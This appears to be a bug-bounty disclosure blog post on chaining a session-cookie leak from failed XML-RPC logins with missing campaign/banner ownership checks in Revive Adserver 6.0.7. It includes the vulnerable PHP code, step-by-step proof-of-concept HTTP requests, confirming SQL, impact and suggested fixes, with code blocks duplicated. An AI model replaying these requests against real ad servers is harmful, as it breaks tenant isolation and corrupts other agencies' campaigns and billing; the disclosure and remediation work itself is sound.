August 5, 2026
Chaining a Session Leak and Broken Access Control in Revive Adserver 6.0.7 Program Hackerone
How a failed XML-RPC login opened the door to cross-agency unauthorized associations.

By Kenjisubagja
3 min read
While testing the official release of Revive Adserver 6.0.7, I stumbled upon an interesting logical flaw. What started as a seemingly secure endpoint — properly denying access to low-privileged users — turned out to be leaking valid API sessions. By chaining this session leak with a lack of proper realm validation (Broken Access Control/IDOR), I was able to bypass account boundaries entirely.
Here is a deep dive into how a non-admin user can manipulate XML-RPC zone-linking actions to create unauthorized campaign and banner associations across different agencies.
The Core Issue: A False Sense of Security
At first glance, Revive Adserver correctly restricts the XML-RPC API. If a low-privileged trafficker or publisher attempts to log in, the API explicitly returns an error: User must be OA installation admin.
However, beneath the surface of this failed response, the server still issues a Set-Cookie header containing a valid sessionID. This cookie represents an API-context session for that exact non-admin user.
Armed with this leaked session, the user can call ZoneService.linkCampaign() or ZoneService.linkBanner(). While the zone-linking code validates permissions on the attacker's side (the zone/publisher), it completely fails to verify access to the target campaign or banner. It also bypasses the same agency/realm rules that the administrative UI strictly enforces.
Affected Endpoints & Methods
Endpoints:
POST /www/api/v1/xmlrpc/LogonXmlRpcService.phpPOST /www/api/v1/xmlrpc/ZoneXmlRpcService.phpPOST /www/api/v2/xmlrpc/index.php
Affected Methods:
ZoneService.linkCampaign(sessionId, zoneId, campaignId)ZoneService.linkBanner(sessionId, zoneId, bannerId)
Root Cause Analysis
The vulnerability stems from two distinct logic flaws working in tandem:
1. The Session Leak The XML-RPC login flow creates and stores an API-context session in the database before the admin-only check evaluates to false. Even though the XML-RPC response payload denies the login, the HTTP response blindly exposes the created session via the Set-Cookie: sessionID=... header. This leaked session easily bypasses BaseServiceImpl::verifySession().
2. Missing Target Validation When ZoneService.linkCampaign() or ZoneService.linkBanner() forward the request into OA_Dll_Zone, the DLL checks if the caller has access to the zone's publisher account. However, there is no corresponding check for the target campaignId or bannerId.
Take a look at this vulnerable pattern in the source code:
public function linkCampaign($zoneId, $campaignId){
if ($this->checkIdExistence('zones', $zoneId)) {
$doZones = OA_Dal::staticGetDO('zones', $zoneId);
// Validation exists for the Zone...
if (!$this->checkPermissions(null, 'affiliates', $doZones->affiliateid, OA_PERM_ZONE_LINK)) {
return false;
}
// ...but NO validation exists for the Campaign ownership!
if ($this->checkIdExistence('campaigns', $campaignId)) {
$result = Admin_DA::addPlacementZone([
'zone_id' => $zoneId,
'placement_id' => $campaignId
]);
}
}
}public function linkCampaign($zoneId, $campaignId){
if ($this->checkIdExistence('zones', $zoneId)) {
$doZones = OA_Dal::staticGetDO('zones', $zoneId);
// Validation exists for the Zone...
if (!$this->checkPermissions(null, 'affiliates', $doZones->affiliateid, OA_PERM_ZONE_LINK)) {
return false;
}
// ...but NO validation exists for the Campaign ownership!
if ($this->checkIdExistence('campaigns', $campaignId)) {
$result = Admin_DA::addPlacementZone([
'zone_id' => $zoneId,
'placement_id' => $campaignId
]);
}
}
}The admin UI enforces same-realm validation for these operations, but the XML-RPC path simply does not implement it.
Proof of Concept: Steps to Reproduce
To demonstrate the impact, I set up a local test instance with two distinct agencies:
- Agency A (Attacker): Non-admin trafficker user, owns
zoneId 13, hasOA_PERM_ZONE_LINK. - Agency B (Victim): Advertiser, owns
campaignId 13.
Step 1: Trigger the Session Leak
First, we attempt to log in to the XML-RPC service using the non-admin credentials.
Request:
POST /www/api/v1/xmlrpc/LogonXmlRpcService.php HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: text/xml
<methodCall>
<methodName>logon</methodName>
<params>
<param><value><string>http-poc-trafficker</string></value></param>
<param><value><string>HttpPocPassword123!</string></value></param>
</params>
</methodCall>POST /www/api/v1/xmlrpc/LogonXmlRpcService.php HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: text/xml
<methodCall>
<methodName>logon</methodName>
<params>
<param><value><string>http-poc-trafficker</string></value></param>
<param><value><string>HttpPocPassword123!</string></value></param>
</params>
</methodCall>Response: The XML-RPC body returns the expected fault (User must be OA installation admin), but the HTTP headers tell a different story:
HTTP/1.1 200 OK
Set-Cookie: sessionID=ce76e3759d9e4e4264ed4a416f09fc46; path=/www/api/v1/xmlrpc; domain=127.0.0.1; HttpOnly; SameSite=strict
Content-Type: text/xml; charset=UTF-8HTTP/1.1 200 OK
Set-Cookie: sessionID=ce76e3759d9e4e4264ed4a416f09fc46; path=/www/api/v1/xmlrpc; domain=127.0.0.1; HttpOnly; SameSite=strict
Content-Type: text/xml; charset=UTF-8Looking at the backend database, we can see the session was successfully stored with API context:
sessionid | user_id | has_context | has_api
ce76e3759d9e4e4264ed4a416f09fc46 | 14 | 1 | 1sessionid | user_id | has_context | has_api
ce76e3759d9e4e4264ed4a416f09fc46 | 14 | 1 | 1Step 2: Exploit Broken Access Control
Using the leaked sessionID, we can now send a payload to link our zone (13) to the victim's campaign (13).
Request:
POST /www/api/v1/xmlrpc/ZoneXmlRpcService.php HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: text/xml
<methodCall>
<methodName>linkCampaign</methodName>
<params>
<param><value><string>ce76e3759d9e4e4264ed4a416f09fc46</string></value></param>
<param><value><int>13</int></value></param>
<param><value><int>13</int></value></param>
</params>
</methodCall>POST /www/api/v1/xmlrpc/ZoneXmlRpcService.php HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: text/xml
<methodCall>
<methodName>linkCampaign</methodName>
<params>
<param><value><string>ce76e3759d9e4e4264ed4a416f09fc46</string></value></param>
<param><value><int>13</int></value></param>
<param><value><int>13</int></value></param>
</params>
</methodCall>Step 3: Confirm the Unauthorized Link
To verify the exploit worked, we can check the database associations:
SELECT pza.placement_zone_assoc_id,
pza.zone_id,
aff.agencyid AS zone_agency,
pza.placement_id,
cl.agencyid AS campaign_agency
FROM rv_placement_zone_assoc pza
JOIN rv_zones z ON z.zoneid = pza.zone_id
JOIN rv_affiliates aff ON aff.affiliateid = z.affiliateid
JOIN rv_campaigns c ON c.campaignid = pza.placement_id
JOIN rv_clients cl ON cl.clientid = c.clientid
WHERE pza.zone_id = 13 AND pza.placement_id = 13;
placement_zone_assoc_id | zone_id | zone_agency | placement_id | campaign_agency
8 | 13 | 26 | 13 | 27SELECT pza.placement_zone_assoc_id,
pza.zone_id,
aff.agencyid AS zone_agency,
pza.placement_id,
cl.agencyid AS campaign_agency
FROM rv_placement_zone_assoc pza
JOIN rv_zones z ON z.zoneid = pza.zone_id
JOIN rv_affiliates aff ON aff.affiliateid = z.affiliateid
JOIN rv_campaigns c ON c.campaignid = pza.placement_id
JOIN rv_clients cl ON cl.clientid = c.clientid
WHERE pza.zone_id = 13 AND pza.placement_id = 13;
placement_zone_assoc_id | zone_id | zone_agency | placement_id | campaign_agency
8 | 13 | 26 | 13 | 27Even though the zone (Agency 26) and the campaign (Agency 27) belong to entirely different organizations, the association is successfully injected.
Business Impact
This vulnerability allows a low-privileged user (with zone-linking permissions) to forge unauthorized campaign-to-zone or banner-to-zone associations across strict account boundaries. The implications are severe for a platform managing ad revenue:
- Ad Delivery Hijacking: Redirecting or manipulating ad delivery relationships.
- Data Corruption: Destroying campaign integrity, reporting metrics, and attribution.
- Billing Chaos: Breaking account separation, causing advertisers to be billed for unauthorized placements.
- Agency Isolation Failure: Completely breaking the multi-tenant isolation model of the application.
Note: While not an unauthenticated exploit, the barrier to entry is extremely low, requiring only a basic non-admin trafficker/publisher account.
Suggested Fixes
To remediate this issue, the maintainers should implement the following changes:
- Stop the Leak: Ensure the system does not send or persist an API-context session for non-admin XML-RPC logon attempts. Explicitly clear the
sessionIDcookie whenLogonService.logon()fails the admin validation check. - Enforce Target Validation: In
OA_Dll_Zone::linkCampaign()andOA_Dll_Zone::linkBanner(), verify the caller's access to the target campaign/banner before creating the database association. - Cross-Realm Checks: Reuse the existing administrative UI same-realm validation logic for all XML-RPC zone-linking operations. Apply these same checks to
unlinkmethods to prevent cross-realm destructive actions.